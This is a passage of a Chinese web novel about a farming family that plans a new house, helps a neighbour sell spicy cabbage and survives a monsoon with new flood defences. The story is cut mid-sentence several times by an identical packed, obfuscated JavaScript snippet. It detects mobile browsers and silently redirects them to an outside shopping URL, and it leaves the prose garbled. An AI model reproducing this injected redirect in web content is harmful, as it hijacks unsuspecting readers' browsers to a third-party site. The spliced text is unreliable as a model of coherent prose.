一个施工队二十人,她直接请了三个队,都是口碑好的,技术娴熟,经验丰富,她要在一个月之内完成,越快越好,把手头的大部分钱都花进去。 不管那个大叔说的事情是不是真的,她做好准备总不会错,而且房子本来也是要盖的。 盖得快,大家也能尽快住上,哥哥们也好说媳妇。 暴雨季就有半个月那么久,每年都没有变化,但乔镰儿还是留了余地,定的时间,最早在二十天以后,最晚在一个月之前。 选砖瓦,选木料,选人,乔镰儿驾着马车,在县城里跑来跑去,大半天下来,累得头晕目眩,口干舌燥。 中途,她还要去给八号摊位补充食材。 喝了一大碗的神符之水,这才好受了一些。 不过她回到摊位,大家还是发现,她的额头上滚着汗珠,浑身透着疲惫。 “镰儿,快歇着,真是累坏你了。”乔云妮拿着帕子,替她擦拭额头上的汗珠,满眼的心疼。 乔镰儿拿着一个玉米棒子就啃,虽然中午抽空来吃了饭,但不断换地方折腾,体力消耗很大。 看到摊子上放着一个坛子,她问:“娘,那东西是啥?” “那是凌音家腌好的辣白菜,刚才凌音来了,偏要送这一坛子辣白菜。” “唉,这丫头就是觉得昨天拿了我们太多东西,乘坐马车又不要钱,总要给我们送一点啥来。” “这么一大坛子,怕是把家里腌的都拿出来了,够咱们家吃好多顿呢。” 大用道:“刚才我尝了一片,很好吃,镰儿你尝尝。” 说着夹了几片最嫩的菜心过来。 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615458|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镰儿尝了一下,酸脆可口,因为用了芥末和姜末,有一种独特的香味。 “手艺真好,比街上卖的还要好吃。”乔镰儿说。 “凌音姐姐回去了没有?” “不知道呢,把东西放下就走了。”乔云妮说:“镰儿,你这是有事要找她?” “嗯,我是觉得,这辣白菜这么好吃,如果做来卖,一定会有不少人买。” 乔镰儿看得出来,凌家生活条件一般,从娘几人接零食有些局促的样子就能判断得出来,她们很少买这些吃。 如果这个成为一门好的营生,还是能够给生活带来不少改善的。 “可是租一个摊位就要很多钱,就算那些偏远街道的摊位,一个月都要三四两呢。” “娘,我有办法,我去找找凌音姐还在不在。” 现在下午才过去一半,或许人还在街上呢。 乔镰儿啃完手头的玉米棒子,又赶着马车出发。 她并没有抱太大的希望,如果凌音是专门来送这个坛子的,那她很快就会回家。 昨天母子三个买了那么多东西,这段时间都不会添置家用。 所以,乔镰儿直接就往城门口追了去。 “镰儿,我跟你一起去。”大用追了上来,一边让阿大顶上他的活儿。 “大用哥不必了,你就在摊这里忙活着,我一个人就可以。”乔镰儿故意这样说着,还是把马车停下。 她怎么觉得,她这个大堂哥越来越不值钱呢? “你跑来跑去忙活盖房子的事情,已经够辛苦了,我看看有啥好搭手的。”大用直接就坐上了车轼:“走吧。” 乔镰儿脸上有些无奈,谁叫她也是在给大堂哥追求媳妇呢。 果然在出城的地方,看到凌音带着她弟弟站在路边,正在拦马车,刚好有一辆马车被她拦下。 “凌音姐姐。”乔镰儿喊道。 凌音正要跨上马车,闻言停下来,看看乔镰儿,又看看乔大用。 “镰儿妹妹,你们这是——?” 乔镰儿把她拉到一边:“凌音姐,我告诉你一个能赚钱的门道。” 第180章 这个哥哥能做我的姐夫吗? 凌音一听来了兴趣:“啥赚钱的门道?” 家里没有什么赚钱的营生,这是等到丰收的时候,留下一家人的口粮,把多余的拿去换银子,她的父亲凌老三是个木匠,可是赚得也不多,勉强够一家子的开销。 “就是刚才你给我们家送来的辣白菜,我尝了一下很好吃,如果拿到街上来卖,肯定会受客人欢迎的。” 凌音脸上升起的希望之光熄灭了大半。 “镰儿妹妹,你以为我们家没有这样做过呀,我们曾经把腌菜送到西边的瓦市去卖,可是卖得并不好。”她摇头苦笑。 西边有一个瓦市,卖杂货的,比如土特产,自家种的蔬菜,腌菜杂酱一类,那里没有摊位,或者说摊位要靠抢,就坐在街道的两边,把货物往面前一摆就卖了。 “你听我说,辣白菜要改变做法,而且要改变摆摊的位置。”乔镰儿道。 芥末和姜末做出来的辣白菜都已经那么好吃了,换一种辣,会更加好吃的。 在她来的那个世界,辣白菜的销路一直都很好,在一个叫思密达的国家,那里全民都吃辣白菜。 “辣白菜还能怎么做?”凌音好奇道。 “得用我家卖的那种辣椒,做出来才更加好吃。” 大用马上接口:“我们家不会跟你要钱,我们家辣椒多的是,你随便拿去用。” 当然,他不是慷家人之慨,如果需要成本,他身上有些银子,可以拿去抵上。 乔镰儿嘴角都抽搐了,大堂哥你能不能值钱一点,虽然她也没有想过要钱。 “啊,不要钱?”凌音又懵了一下。 乘坐马车不要钱,辣椒也不要钱,乔家人对她这样好。 再看大用有些热切的眼神,她心里面隐隐明白了。 兄妹俩是赶着马车来追她,是希望让她发财呢,还低成本发财。 心头生出一抹感动,暖暖的又软软的,像冬天保暖的棉花。 乔镰儿:“不要,只是做出来以后,你分点给我们吃就可以。” 凌音觉得可行,八号摊位卖的辣椒她尝过,那种直接又不冲鼻的辣味,简直是她的梦中情辣,而且说真的,颜色还好看,如果用在辣白菜上,一定是黄灿灿的。 她心动了。 “那我回去试试,如果做出来更好吃,我就租一个摊位。” 大用偷偷捏着袖子,里面放着乔老太给他们孙辈的零花钱,应该有个二两,二两不够吧,那就找二弟三弟借。 不过,一下子送这么多银子给凌音,凌音肯定不收,他该用什么借口呢? 就假装借给她,等到成亲了,借出去的钱就顺理成章不用她还了。 想到这里,大用觉得自己是个大聪明。 “摊位不用租。”乔镰儿道:“做好了,就拿到我家的摊位来,我给你卖。” 大用惊讶地看了乔镰儿一眼,他以为他的法子聪明,镰儿妹妹的更聪明。 凌音眼里闪烁了一下,的确八号摊子那里人多,而且卖个辣白菜只是顺手的事情,说不定这样一来,真的可以卖出去不少。 她一下子把乔镰儿给抱了起来,又举到和自己齐高的位置。 “你们太好了,等到卖到了钱,你们分走一部分,不然,我不好白白用你们的摊位。” 乔镰儿被这样举起来,感到两边肩膀下都要脱臼了,好像侧肋骨也在咔咔作响。 看凌音举她举得这么轻松,心想这个未来的嫂子力气也不小啊,说不定会和大用哥生出一个大力士呢。 好在,凌音又马上把她放了下来。 生怕她心里有压力,乔镰儿就没有立刻拒绝:“等到赚到再说吧,大白菜的做法要改良一下,我说一下做法,凌音姐姐你稍微调整调整,做好了放半个多月,味道会更好。” 然后,她就把做法详细说了一遍,凌音仔仔细细听着,她做的也是差不多的流程,只是要添一些新料,稍微改一下步骤。 大用将辣椒面从马车上搬下来,有五十斤那么多,这是舂好了明天备用的,够腌制很多辣白菜了。 这么多,凌音又想给钱,看到大用微微板起了脸,就不好再说什么了,只想着做出来了,卖到的钱分一部分给乔家。 人家专门来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615459|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她赚钱,这一份心意,她会永远记着。 乔镰儿赶着马车走了。 走之前,大用还不忘塞给姐弟俩一人一把糖。 凌音看着马车离去。 “姐姐,这两个哥哥姐姐好好,如果这个哥哥能够成为我的姐夫,天天给我糖吃,那就更好了。” “贫嘴,你小小年纪懂啥。”凌音举起手来,佯装生气要打凌晓,可是没发现,她的脸上也多了一抹羞涩。 “羞咯羞咯,姐姐害羞咯。”凌晓对凌音做了一个鬼脸,跑进了马车。 凌音也上了马车,却没有再吓唬他。 “弟弟,你觉得大用哥怎么样?” “大用哥很好呀。” “为啥?” “因为大用哥给我糖吃。”凌晓一边吃糖一边说。 凌音笑了,摸摸凌晓的后脑勺,没有再说什么。 可是她的脸上,却浮起了一抹犹疑,更多 的是一种不安。 只希望家里的那一桩事情能够尽快解决,不然,她哪里敢想自己的幸福呢。 凌音低下头,有些难受。 宋家人从昨天傍晚一直忙碌到现在,整夜没睡,终于把那些食材给折腾好了。 他们回到六号摊位的时候,一个个挂着黑眼圈,无精打采的,都快要走不动路。 本来是来收拾家伙的,一看锅碗瓢盆油盐酱醋还有剩余的炭火以及木摊子啥的,都全部被人端走了。 宋老婆子顿时崩溃了,坐在地上,一边哭一边骂。 宋老大和宋老二相互搀扶着走过来。 “我们宋家的那些油盐酱醋,锅啊碗啊的,是不是被你们拿走了。” 乔家人当做没有看到他们,继续招待客人。 二人却以为,这是乔家人心虚的表现,心里面越发肯定。 “那就是你们偷懒了,看你们摊位上摆了这么多,把我们的东西还来。”二人加快了脚步,眼睛却是直勾勾盯着那个装满了铜板的竹箩,像饿狼一样。 里面起码也有十两,拿到手了,成本不就回来了? 第181章 未雨绸缪:做账本 大用和大成也不忍了,走上前去,一人给了一拳。 二人被打翻在地,哎哟哎哟惨叫着,又骂着爬了回去。 大猛小猛给他们一人屁股一脚,就不敢再骂了。 今天下来,收了三十五两,盖房子的钱完全够了。 乔镰儿赶着马车去订建筑材料的时候,就竖着耳朵,听听街上有什么讨论,不过什么都没听到。 她猜测,真有什么异动的话,怕是要等到秋收之后。 她还听那个大叔说要提高税收,田租就是税收的主要来源之一。 但是说实话,暴雨季过后,再晒十来天,稻谷就可以收获,八月份,家家户户都在收稻谷,房子盖好,差不多快到九月份。 时间还是有点紧凑,但如果那些人以最快的速度来到,她也刚好能够及时避开。 现在家里有了五百两,一切用料完全没问题了,剩下的钱,就可以攒起来,作为以后生活的资本。 乔镰儿一边赶着马车一边想,如果大泽国有危难,她愿意拿出财产的一部分,但要她全部拿出来那是不可能的,因为绝大多数人家拿出来的都没有她拿的多,不过那些人显然不会跟她讲道理。 真到物资不够用的时候了,有多少就是抢多少。 她积攒下来的钱,该用什么样的方式隐藏呢? 回到家里,乔镰儿就开始做账本。 其实,她摆摊那些小吃的价格,大家都是知道的,还有酒楼饭馆从她这里批发食材的价格,也是公开的。 从去她那里排队的人的数量,以及到她那里批发食材的老板掌柜的数量,有心人可以推断出来他们家一天能挣多少钱。 在这上头,不好动什么手脚,也不能动,因为酒楼饭馆那里批发了多少食材都有账房登记,到时候要是对不上,她就会有危险。 那么只能从一点上入手,那就是食材的成本。 对,把食材成本写上去,跟后面日子赚到的钱一平账,算下来差不多是盖房子的这五百两,那就可以蒙混过关了。 现在先登记前面的,后面的再一天天登记,一个月前的墨迹和一个月后的墨迹毕竟是不一样的,有的人因为临时造账目被抓起来就是这个原因。 前面卖的菌子,也记上去,做到事无巨细,这样看起来才真。 记不太清楚的,乔镰儿又跟家里好好核实了一下,再加上之前又做了粗略的记账,所以还是比较顺利。 做好了账,差不多过去半个晚上,男人们练习招式结束,乔镰儿又教大家练笔画。 这个时候,宋瑞儿正跪在宋家人的面前,抽抽搭搭一脸泪水。 宋老二手上拿着荆条,宋瑞儿的后背上鲜血淋漓,衣服都被打破。 而陈氏一脸的阴沉,恨不得把宋瑞儿的骨头都拆了:“果然不是自己生的不亲,千防万防家贼难防,你把我和你爹的脸都丢尽了,你就这样不管我们的脸面。” “奶奶,爹娘,我是真的想读书,真的要上学,我从家里拿的这些,以后等我中了举,一定会加一万倍还给你们。” “你们相信我,我会考上的,我比义学堂里那些蠢货聪明多了。” 宋瑞儿一脸的坚决,他就知道宋家人从县城回来他要挨揍,但是他不后悔,重来一次他还要这样做,不能读书他宁愿去死。 “你能考上?你拿啥来保证?就凭你这张嘴巴,多少读书人都考不上秀才,到死都是一个童生,更不要说中举。”宋老二冷笑,完全不相信。 要不是在县城被人揍了一顿,又整夜没睡觉,实在是没有精力,他要揍这小子揍得更狠一点,把他往死里揍。 宋老婆子一直没有说话,她在盯着宋瑞儿的神情。 前面就有好几次,宋瑞儿来找她,说要念书,她没有允许。 读书这一条路,要不断往里砸钱,还很难有回报,很多人家都不会轻易做决定。 送孩子去村里义学堂的,也只有七八家而已,还是因为村里的义学堂省钱。 要是去镇子上,还要租房子,还要跟那些有钱人家的孩子比较,买比较贵的笔墨纸砚,一年下来,要花去十几两。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615460|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是现在她看到宋瑞儿眼里都是决绝,好像不读书真的会死一样。 又想到去县城连番受挫,乔家人能走镖,做小吃摊都能赚大钱,他们就干不来这些事情,就只有指望读书。 所以现在,宋老婆子的想法有了些转变。 何不赌一赌读书这一条路? 而且,老三的归期也不远了,到时候看到他的儿子被送去读书,心里面一定会感动吧。 陈氏忍无可忍,养了一会儿精神,又要起来打宋瑞儿的脸刮子。 “好了。”宋老婆子出声止住她。 然后她看着宋瑞儿:“你是真的要读书,而且有决心能够考中?” “是,我一定要读书,一定要考中。” “如果你考不中,你就要归还宋家供你读书花费的银子。”宋老婆子道。 看到宋老太松口了,宋老二和陈氏都诧异地对视一眼。 因为在之前,宋老太对宋瑞儿想要读书这种事情是坚决反对的,所以他们才打这么狠,免得 宋老太要他们还钱。 “好,如果我考不中,我加倍还回来。”宋瑞儿一个字一个字发誓。 宋老婆子深呼了一口气:“好了,你以后都去上学吧。” 宋老二眼睛一亮,马上就转变了想法,以后要是这小子考中了,那他岂不是要跟着享福。 而陈氏已经在幻想着,到时候她这个做母亲的,说不定能当一个诰命夫人呢。 ———————— 过两天大家看到,前些日子还万里碧空的天,不知道什么时候聚集起了层层叠叠的乌云。 这些乌云还是灰蒙蒙的,但是体积庞大,随着时间的推移,乌云的颜色越来越深,看起来也越来越沉,偶尔还有雷电在隐隐闪烁。 半空刮起了风,直往人的脖子里钻,夹杂着七月天特有的闷热,又有几丝凉意。 看看山上,那些树木竹林随着风的方向成片倒来倒去,风声猎猎,呼呼狂嚎。 这是大暴雨来临的前奏。 第182章 胆战心惊的大暴雨 大猛赶着马车回家,加快了速度,南国的大暴雨,砸在身上可是能砸疼人的。 一阵阵风吹来,马车的门帘和窗帘都被卷起。 乔老二看着这样的情形叹了口气:“往年就是这样的情况,最多半个时辰后,大暴雨就来了。” “是啊,这些云平时见都不见一朵,农田都要干涸,到下大暴雨的时候,像长了脚一样,全都跑到咱们这一片上空来,合着就是针对咱们呢。”大成说。 “下吧下吧,下过了,就可以秋收了,河里做足了准备,也不怕稻谷被淹了。”万氏说。 眼看着乌云越来越低,远方灰蒙蒙的,好像起了雨雾,正在朝这里移动。 那些鸟雀,苍蝇,蜻蜓,全部都在低空盘旋。 乔大猛大声道:“大红,加油跑起来。” 大红甩开了蹄子。 这还是乔镰儿第一次亲身看到,令大田村村民闻风丧胆的大暴雨前兆。 果然给人一种压迫的感觉,好像胸口之间都有点透不过气来。 说是毁天灭地之势也不为过。 不远处,大田村在望,已经是电闪雷鸣,轰天撼地。 虽然还没有下雨,空中已经飘着雨雾,一摸,脸上湿漉漉的。 大猛紧张了起来,愈发催着大红赶路。 乔家人第一次体验到,马车这样剧烈颠簸的感觉,差点把中午吃的东西都吐出来。 但是也只能尽快回去,万一一道雷劈下来就不好了,每年都有被雷劈死的。 在大雨开始窸窸窣窣砸下来的时候,大红奔进了院子,大家赶紧下了马车,冲进屋子里。 在家里的,也提早把麦子收了起来,晒了这几天,麦子也晒得差不多了。 看到他们赶在这个时候回来,乔老太松了口气。 回来的时间,比往常提早了一个时辰,要不然,大暴雨一来,就不好赶路了。 原以为今天要少赚钱,想不到居然有五十八两,这让乔老太很惊讶。 “你们这么快就回来了,这是咋赚到的。” “奶,我跟那些酒楼老板说,下大暴雨这段时间,我们就不去摆摊了,所以食材低价批发,想买就多买,也卖出去了不少,还卖了几个食方子。”乔镰儿说。 加上昨天的,前天的,手上又多了一百二十两。 这些钱,她都会抵消在食材成本上,平摊在盖房子上。 实在是摊不掉的,那就放在明面上,到时候好交代。 暴雨越来越大,能听见村里的孩子们惊声尖叫着跑回家,还有一些村民在大声吵架,相互指责怪麦子没有收及时。 大雨一颗颗重重砸在地面上,甚至砸出一个个小窝,雨帘哗啦啦上阵,砸到地上的水又溅起来,溅到屋前坎上,屋子里,整个村子都笼罩在大片雨雾之中,就连院里都看不真切。 大红被牵到了屋檐下,鸡鸭被好好关了起来,大顺也被乔吱吱抱进了屋子。 大顺现在也才三个月大,有点成狗的样子了,冷得瑟瑟发抖,和大家一起坐在火盆边烤火。 “好些日子没注意,大顺又长大一点了。”大用摸了摸大顺的头。 “是啊,咱们家大顺可是有狼的血统,现在都这么凶,长大了看家护院肯定很厉害。”大猛说。 一只只手朝着大顺摸过来,把大顺摸得嗷嗷叫,到处找地方躲。 还从来没有享受过这样盛大的热情呢。 乔老太道:“下手轻点,别把我的狗儿摸坏了。” 大家扯着闲话,嗑着瓜子,吃着糖饼,说说笑笑的,早就习惯了暴雨季,不一样的是,往些年的暴雨季,一家子都愁眉苦脸。 可是今年,桥修好了,河道和分流道都弄好了,不用担心地里的庄稼。 就算真的把庄稼都淹了,那也没关系,家里不缺银子买粮买面的。 所以,大家都很放松。 乔镰儿盯着暴雨看了一会儿,心想下得真大啊。 而且还要下半个月。 在记忆中,这段时间大暴雨每天都有,但不是时时刻刻都下,不然的话房子都要被冲垮,每天是要下几个时辰的。 大房在厨房里做饭,乔云妮也去忙活。 乔老太还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615461|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是决定,母女俩就不轮厨房的活儿了,因为就母女两个,乔镰儿要经常带着大家去做事,乔云妮一个也忙不过来,有时间就给大家搭把手啥的。 因为暴雨季要来临,今天乔镰儿在县城买了不少食材,像猪肥肉猪瘦肉,排骨香肠,熏鹅熏鸭的都有,还有各种干菜,蔬菜,一级空间里面其实都有种,但每样还是买了不少,空间的秘密要护住。 暴雨哗哗中,电闪雷鸣不断,乔家人一家子坐在桌旁吃晚饭,以前暴雨季连饭都吃不下去,今晚却吃得很香。 那种感觉是真的不一样了。 风有点大,乔老头看了一眼裂开的墙壁,有雨水吹进来,却也不觉得心酸了。 很淡定说了一句:“等吃好了,把漏风的地方都挡一挡。” 都知道镰儿已经定好了盖房子需要的材料,又请好了工匠。 等着暴雨季一过就开工。 在县城提早买好了一些油布和瓦 片,吃好饭大家行动起来,先用秸秆往缝隙里面一塞,然后用油布封住,边缘钉上钉子。 又爬上木梯,往屋顶漏雨的位置放瓦片,屋顶的下方,再遮上一张油布。 一个多时辰,防雨防风的活儿基本上完成。 大雨一直下到了亥时,才慢慢停了下来,但是在夜色中看向半空,依然是乌云累积,黑压压的一片,显得夜更加的幽沉,还有一种巨物恐惧的感觉。 这个时候村庄才开始喧闹起来。 往常到亥时,村里人几乎都睡下了,可现在惦记着地里的庄稼,大家都睡不着。 乔镰儿还是教大家学了一会儿偏旁,就躺在床上料理空间。 她想把畜牧场,果园,鱼塘都开发,但是想了想,还是集中精力,先解锁高级物类再说吧。 要不然一下子使用那么多金币,短期内想要赚回来,还是有点难。 大雨又哗啦啦下了一整夜,早上起床的时候,能够听见到处都是小溪流动的声音,特别是屋子后面的那一道排水沟,更是流得无比欢畅。 “你们快看河里。”就听到下面齐家,齐老大惊喜地叫了一声。 第183章 庄稼保住啦,整个村子登门感谢 村民们从昨天下午到现在,都被大雨封堵在屋子里。 走出房门的时候,清新带着凉意的空气扑面而来,混杂着雨水和泥土的腥味。 让人觉得透了一口气,可是肺腑间又有点难受。 听到齐老大这样喊,大家都看向了河道。 一个个眼睛亮了。 往年下大暴雨,过了一天,河道里的水就与两岸齐平,夹杂着泥浆汹涌往下奔流,漫到农田里。 可是现在,只隐约看到河底的流水面,而且流速明显减缓了许多。 甚至就连进入分流道的高度标准都没有达到。 当初挖那一条分流道的时候,分流道口的位置比河床要高小半丈,这是一条安全线,漫过了安全线,河水就往分流道走。 现在,河水还在河道深处,要站在高一点的地方才看得到,但并不是说昨晚的雨下得不够大。 因为经过了这一段加深的河道,到了下游,河水就突然变得汹涌可观起来。 好在下游没有农田,都是地势低的沼泽,大片大片的农田完全不受影响。 农田里的稻谷快要丰收了,水也已经排走,只留一部分洇着根部。 村民们提前把田里的排水口打开,晚上的大暴雨顺着地势排到了农田外的沟渠里,都流向河道。 而那些稻谷都齐齐整整,放眼望去一片黄灿灿。 再看上头,隐约看到桥梁岿然而立,掩映在两边峻岭之间,被雨水洗刷过后更加洁净巍峨,仿佛真的能够屹立百年而不倒。 大家相信,今年防洪完全没问题。 “还是镰儿的法子好,全村的粮食都保住了,就算暴雨还要再下半个月,也不怕农田被淹,不怕稻子减损。”乔老大欣慰地说。 家里的十亩,加上从沈家割来的三亩稻田,又打了药,去了虫,穗子要比往年饱满密集。 对于收成,大家还是很期待的,虽然现在不缺这一口粮食吃,但受了这么多年的灾,能有一个好收成,也算是一种告慰。 乔云妮脸上也露出了笑容,看到这样的情形,她相信和离书是几乎没问题了,从此她不用担心跟宋家扯上一丝半毫的关系。 乔镰儿心中却多了一抹隐忧,大家的粮食,真的能守得住吗? 就算过得了洪水这一关,可能还有一个大麻烦等着大家。 她多么希望,那个大叔说的话是假的,本来她可以当做耳边风,可是当知道裴祝锦兄弟在南国考察民情,就进一步验证这很可能不是空穴来风。 天上仍然阴云沉叠,仿佛一座座大山压在上头。 早上过半,伴随着电闪雷鸣,大暴雨又来了。 可是村里人的心情却放松了许多,昨晚大家还提心吊胆的,生怕河里的准备不足以应对暴雨,可是起来一看,暴雨再大,都不是一个事儿。 大暴雨就这样断断续续的,每天下几大场,三天以后,终于越过了安全线,往分流道奔涌而去,流入了大缝隙里。 田里的庄稼毫发无损,最多因为暴雨倒伏了一些。 在大雨停歇的时候,大家就下到农田里,把这些倒伏的庄稼扶起来,用东西捆住,又立了支架,架子插得很深,可以扛得住暴雨的侵袭。 又连下了数日,甚至比前面的阵势还要大,村里路上的泥泞都被完全冲刷了一遍,露出了坚实的地面。 大洪水纷纷涌入分流道,也才到了分流道一半的位置。 算起来,距离开始下大暴雨的日子,已经十天过去了。 按照以往的惯例,接下来的几天雨会小下来,而且越来越小,最后停下,看天上的云层,也稀薄了许多,甚至露出了一点光亮来。 基本上可以确定,这一场仗,大田村算是打赢了。 村里已经有人在提前庆祝,杀鸡宰鸭。 这些日子,乔镰儿都在经营空间,每天金币翻倍,空间里的作物欣欣向荣,一眼望去绿油油,很是喜人。 为了丰富一下空间,她还是开辟了一块果园,有十亩那么大,刚开始的时候,结果比较慢,几天过去,果实累累,压弯了枝头。 乔镰儿看了一下果实的售卖价格,比蔬菜要贵一点,但是生长周期要慢一些,算下来也差不多。 当然有贵一点的,比如草莓,但是生长周期更长,还要购买更多的光照。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14615462|156148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是的,空间里面就连光照都需要花金币购买。 现在这块地结出来的果实开始熟了,再过两天,也就是暴雨季结束,大家就能吃上红彤彤的草莓。 经过最后一个晚上的绵延小雨,早上大家打开房门,看到久违的太阳从东边升起,霞光万丈,经过暴雨清洗过后的天空,更加的碧蓝清新。 河道里,齐岸的河水流向分流道,流向下游。 下了半个月的暴雨,河水都没有蔓延到稻田里。 那些金灿灿的稻谷,在阳光的照耀下,分外的喜庆。 村民的心是踏踏实实地放下来了,全身都放松了,每个人的脸上都是喜色,甚至有人喜极而泣。 大家去农田里看过庄稼回来,就往乔家这里来。 有的端着十几个鸡蛋,有的捧着装腌菜的坛子,有的拿着熏 好的干肉,咸鱼。 甚至有的还捉了鸡鸭来。 “多亏了镰儿,才保住了我们家的庄稼,要不然,我们家收成要减少一半。” “我家也是,每年都要减损四成,二十亩地,挽救回来的四成完全够我们一家子吃一年了。” “一座大桥,一条分流道,可以保我们一辈子的粮食丰收了。” 村民们太盛情了,来的人又那么多,乔镰儿就在房间里不出来。 乔家人在门口百般推脱,不肯收那些东西,好言好说,让大家拿回去。 虽然大田村不算穷,但是家家户户也是省着过日子的。 “镰儿是咱们的恩人,除了今年的庄稼,也保住了以后的收成,我们总不能一点表示都没有,这些东西你们乔家一定要收下,就当是咱们的一份心意。” “是啊是啊,你们一定要收下,不然我们就不回去了。” “真的不用,镰儿出了点子而已,桥梁是县衙出人出钱建的,河道分流道都是大家挖的,大家也是付出了辛苦呀,防洪能够取得成果,是大家的功劳。”乔老头道。 “我们乔家倒是有一个小小的要求。” “防洪成功,和离书算是彻底生效,如果宋家还要闹事,还请大家站在乔家这一边。” 第184章 一千个鸡蛋咋吃?番茄出场 村民们一听,立刻纷纷表示。 “多亏了你们老乔家,我们的庄稼才能保住,以前宋家闹事,我们帮着你们说两句,如果现在宋家还要折腾,我们直接帮着你们动手。” “对,一个村子齐上阵,看他宋家敢嚣张,把他们全家打得一两个月下不了地。” “你们就放一百个心好了,防洪的事情成了,云妮从此就和宋家一点关系都没有,和离书你们完全不用担心有啥问题,整个村子的人都支持你们乔家。” “谢谢,谢谢大家。”二老感动得眼睛微湿。 他们唯一的女宝,想在家里留多久就留多久。 村民们还是不肯把东西拿回去,偏要往乔家院子屋子里放,乔家人死死拦着他们,也是不肯收下,双方就这样僵持着。 “我们家里现在真的不缺这些,大家也是好久才舍得吃一顿肉,还是都拿回家去吧。” “不行不行,你们啥都不收,我们就是不安生,要知道镰儿不仅保住了我们今年的粮食,我们以后的粮食也不用担心损失了,这是大功劳大贡献。” “不说你们缺不缺的,这就是一份心意,也是一份报答,欠了大恩不报,会折损我们福报的。”有人甚至把话说得重了一点。 乔老太想了想:“那要不这样吧,腌菜啥的就留下,像鸡鸭干肉啥的我们都不要,哪家没有几个孩子要长身体?你们就送几个鸡蛋咋样,这是我们最大的让步了。” 见乔家人这样坚决,村民们没办法,只好回去换成了鸡蛋。 乔老太只说送几个,他们把家里的鸡蛋都拿出来了,有的甚至送了三十多个。 等到村民们一拨一拨来过,乔家院子的两个大竹筐里装满了鸡蛋。 乔老太看得两眼一抹黑:“起码有一千只鸡蛋,这咋吃得完哟。” “鸡蛋放太久了不好,咱们一天吃三十个,一个月吃完。”冯氏道。 “想想以前,咱们家吃饭最大的愿望就是有鸡蛋汤吃,老母鸡下的鸡蛋都要拿去换一些盐油,一年到头吃不到几个鸡蛋。”吕氏感慨。 这下子可以吃个尽兴了。 村民们走光了,乔镰儿终于从房间出来透气。 看着这么多鸡蛋,她想,空间里的番茄是不是该派上用场了。 番茄蛋花汤,西红柿炒鸡蛋,茄汁荷包蛋,番茄肉末蒸蛋—— 想想口水都要流下来了。 但是她不能现在就把西红柿拿出来,还是要使一下障眼法。 “奶,村民们现在都上山头捡菌子了,咱们家也去吧。” 就在昨两天,就有村民上山,也零星找到了一些。 接下来的这几天,会有一个小爆发。 村民们已经摩拳擦掌准备好了。 “小猛哥,吱吱姐,咱们一起去山上捡点菌子吧,好久没吃了。”乔镰儿建议。 明天再去县城摆摊。 “我也正要说这件事呢,今天天晴了,好多村民都出发了,咱们也不能落后。”小猛一听就去找背篓。 乔吱吱也挎上了一个篮子,又把另一个篮子递给乔镰儿。 “走呀走呀,这半个月都待在家里,闷都闷坏了。” “咱们分山头去,你们三个在近山,我们去西边远一点的山。”大用大成也在做准备。 “那我们去东边的山。”乔老二和万氏行动起来。 如果还像前面那样,每天赚个几两的,那倒也不错。 其他人去县城摆摊卖小吃,在家里的就上山找菌子。 留了些人在家里,大半乔家人都上山了。 村民们也几乎都家家户户出动了,雨后的爆发期,其实并不如第一次长的那么多,再加上村里这么多人,所以大半个早上过去,每家每户只找了那么几朵菌子,有的甚至一朵都没有找到。 他们都有点气馁,又把希望寄托在了往后的几天,如果往后几天都没有长太多,那今年菌子季算是过了。 唉,果然钱不好捡啊。 